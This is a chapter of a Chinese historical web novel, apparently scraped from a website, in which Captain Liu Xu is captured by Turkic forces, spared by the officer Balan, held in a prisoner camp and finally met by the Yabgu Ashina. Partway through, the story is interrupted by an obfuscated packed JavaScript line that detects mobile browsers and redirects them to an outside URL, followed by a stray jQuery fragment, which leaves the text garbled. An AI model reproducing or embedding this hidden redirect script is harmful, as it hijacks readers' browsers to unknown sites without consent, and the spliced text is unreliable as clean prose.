柳絮被镇压着带至可汗面前,可汗遭逢袭击,此时又惊又怒,径直扬言将柳絮拖下去斩了。
擒住柳絮的人当即领命。柳絮面庞染血,眸色微动,电光火石间只哑着嗓子用中原话道:“我知道你们叶护在哪儿!”
阿史那乃可汗亲弟,可汗不可能不会管。可谁知可汗竟嗤笑一声,说的同样是中原话:“阿史那?不是死了么。”
若非他这个好弟弟杀他能谋善断的周先生,他突厥大军又岂会落到这个地步?他堂堂可汗又岂会四窜而逃?
柳絮微愣,可还保持着基本的冷静,只迅速道:“他还活着,我知道他——”
嘭——可汗猛地拍案而起,怒喝:“他死了!”
“还不快把这个人拖下去给我杀了!”
柳絮皱眉,发生了什么?可汗竟如此讨厌阿史那。
她抽出袖中小刀,趁被拖出去之时,暗自磨着捆住她的绳索,欲找机会逃走。
而抓住她的人在拐过好几个弯后,却将她带到一顶帐篷前,复命道:“巴兰大人,人带到了。”
里面是一道有些低哑的声音,只沉沉道:“带进来。可汗那边,你们知道该怎么说。”
“是!”
柳絮听不懂突厥语,只见两方人简单交流后,压着她的人解开绑住她双手的绳索,瞧见被她割开一半的麻绳时,也只是愣了愣,将其往前一推,示意她进去,随后转身离去。
门口守着两个人,亦没有阻拦她,可柳絮转身想跑时,他们手中的弯刀又瞬间拔出,似乎只要柳絮敢有异动,他们即刻动手。
里面又传来一道声音,同样的音调,这次却说的是中原话,“柳校尉不妨进来一叙?”
似乎是不常说中原话的缘故,语调有些奇怪,但能听得懂。
柳絮微怔,他认识我?她往四周望去,已有人注意到此处异常,这支军队在此简单驻扎休整,四面重重包围,要想逃出去,难于上青天。
她不再犹豫,径直推帘而入。边进边道:“连绳索都替我解了,未免也太过于小瞧我。”
她倒要看看里面是何方神圣。
映入眼帘的是一张络腮胡脸,毛发浓密,目光如鹰,瞧着有些眼熟,但柳絮不记得自己见过他。
男人替她斟上一壶热奶,“柳校尉的本领我自然是见识过。如今竟然又敢单枪匹马留敌营,巴兰佩服。”
他说的极慢,似乎说一句都要捋一捋舌头一般,显然极其不适应中原话的腔调。
柳絮猜测他也应当是突厥内部上层人士,这才有机会学习中原话,只是没机会多加练习,说得不够流畅,但这种程度已经够用。
“你违背命令留下我的目的,不妨直说?”
巴兰笑了一声,似讽未讽,“柳校尉大半月前趁叶护大人受刑,强行将其掠走,不会忘了?”
他当时亦在外面围追刺客,可谁知竟有人闯入叶护房中,将其掳走。他对叶护忠心耿耿,这大半月一直在寻找他的踪迹,可是没有消息。
柳絮从吴县城墙上飞跃而下时,他瞧见她的脸。他认得他,第一次在吴县想见,她亦是设计劫走魏越军,叶护曾派人细细查过她。
姓柳,单字絮,长乐王麾下小将,颇有名声。
原是冲着阿史那来的,柳絮心中总算松口气,如此便好办。
柳絮露出一抹表示友好的笑容,“你放我回去,我告诉你叶护在哪儿。”
巴兰回笑,“听闻安国人奸诈,果真如此。果然,叶护大人从来都不会骗我。”
柳絮:……
“叶护在何处,还需要问?定然被你劫去关内,挨饿受饥。”
“若是我放走了你,谁知道你会不会放叶护回来?”
没有交易的筹码,柳絮索性直言,“那你到底想做什么?”
巴兰想了想,“可汗近些日子暴躁不已,尤其厌恶叶护,全然没有想救叶护的打算。留下你尚可和安国人交易。用柳校尉换叶护大人归来。”
柳絮默,不解纳闷道:“我只是个小小的校尉,你怎么能确信就凭我能换回堂堂叶护?”
巴兰微愣,似是在理解柳絮的话。突厥敬畏勇士,以勇士为尊。在他眼中,柳絮很强,这样一个强悍的人想必在安国军队中地位非凡。
可柳絮一言提点了他,他只默了默,眼中杀意并起。
柳絮有些后悔自己话说得过头,还没来得及找补,巴兰又道:“没关系,扔去俘/虏营中,总归有些用。”
他既瞒着可汗留下柳絮,自然以谨慎为上,将其藏在俘/虏营中最为保险。
天上的雪还在飘着,柳絮被紧锁着双手,一路行走在漫漫荒原上,四周俱平,仿佛每处都长得一样,一样雪白,一样荒芜。
在辽阔天地间,她逐渐失去方向。忘记安国在哪方,忘记夏昀崧又在何处。
到达王庭时,整个俘虏营折了大半。有的死于寒热,有的死于饥乏。柳絮唇色发白开裂,脸色憔悴沧桑,目光呆噩,还没来得及瞧清王庭,便被人径直蒙住头,换到另一处住处。
迎接可汗的人惊异地看向这个俘虏,欣喜道:“女的?是个女的?”
还没来得及张扬开来,便被遏制住,旁人小心提点道:“巴兰大人打过招呼。”
若非如此,一个女俘/虏安能好生生地走到王庭?显然已经名花有主。
柳絮听不懂他在说什么,可听其兴奋语气,便能有所猜疑。
她进俘虏营的第一日便有人想动手动脚,她沉声警告,对方却精/虫上脑,连骂带吓,被她藏匿在手中的小刀径直割了喉。
消息很快传到巴兰哪儿去,他拦截下来,只命人将尸体悄声处理,又暗中嘱托几句,此后俘/虏营中再无人敢对柳絮动手动脚。
不知为何,巴兰只将她带了回来,此后却再无暇理会她。她被人看管着给马刷毛洗洁。回王庭之路漫漫,不知何时,草原上的雪停了,嫩草悄悄冒头。
路上她一直在思索,为何可汗回突然选择回王庭,其他各部势力收到消息了吗?
想不明白,但来到王庭后,她隐隐察觉突厥内部似乎也不太和平。
可惜她不通语言,日常也只和安国俘虏呆在一块,简单学了几句突厥语,但远远谈不上交流的程度。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444537|167830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一路上她都在找机会逃,可突厥看管的抬眼,食物匮乏,她也没有气力能逃出去。
即便逃出了突厥营,她也走不出茫茫荒原。
在住处的草地上画了第六条短线时,王庭那边传来欢呼与雀跃声,似乎在迎接什么人归来。
可这与俘虏没什么关系,这几天日日处理马粮,还要将牛儿牵去草原上喂食。柳絮无暇顾及其他。
每日的饮食只有一枚窝窝头,若是以往定然不够,可一路走来,饥饿多,连果腹都尚且不能。如今能有一枚窝窝头,已经不知道好了多少。
柳絮会在暗地里将窝窝头扳成两半,吃大的一半,留下小的攒起来。
若是日后逃出王庭,这些都是她的干粮。
今日也是如此,她午后将粮草喂给马儿吃完后,这才躲到马厩偏处,也不嫌脏,掏出窝窝头慢慢啃,尽可能嚼得细一些,更耐饿。
一边吃着,一边慢慢思索,这几日出去放牛的功夫她都会观察地形。那些人在远处守着他们,只要有人走远了些,都会骑马过来监视。
但有几日那块地儿放牛的俘虏多,总有看顾不过来的时候。
不过柳絮要是想跑得快一些,还是要弄一匹马。不如趁有人骑马过来查看的功夫将其制服,夺马而去。
在此之前,她还要想办法找到回安国的方向。
床前的草地上被歪歪扭扭划上第八条短线时,俘/虏营来了一位贵客,站在栅栏口往内看,不知在看什么。
俘虏营内脏臭无比,阿史那止步于营口,往身后打了个招呼,身后人向前交涉。看管俘虏营的人亲眼看见叶护大人已是荣幸,听闻他要找一个女俘虏,更是满口应下。
不过一刻钟功夫,柳絮便从荒原回到营内。看见叶护时,整个人还有些错愕。
为什么他会在这里??他不是应该被囚于寒风关?
此时距离她将他抓去寒风关,已经过了两月有余。柳絮不知战事如何,但他绝无可能从寒风关逃出来。除非有人故意将其放走。
对于这位柳校尉,以往被她擒住的羞愤早已化解,阿史那如今只剩佩服。
若非是她将其擒去寒风关,阿史那也不会有机会能和夏大人亲口谈判,突厥和安国关系的转折机会也不会来得这么快。
阿史那学着安国人行礼的姿势,拱手道:“柳校尉。”
已经许久没人这么叫她,再次听见这么名号,柳絮一时还有些恍惚。
这近两个月的俘虏生活让她有时候生出麻木。身边同行的俘虏或许明天就死在某处荒土上,以天为被,以地为席,永远在这里安息。
或许在她撑不住的那一刻,她也是如此长眠。
可她心中总有一股执拗,她要回去,夏昀崧还在等她。
她的朋友和前辈们都还在远处等她。她必须要回去,活生生出现在他们面前。
柳絮沉默了许多,即便来了王庭,也不爱说话,只一边干活一边谋划。心中的那股执拗一直支撑着她,让她无比坚韧,无比强大。
她生涩开口,脊梁刚直,回礼恭谨,“叶护大人。”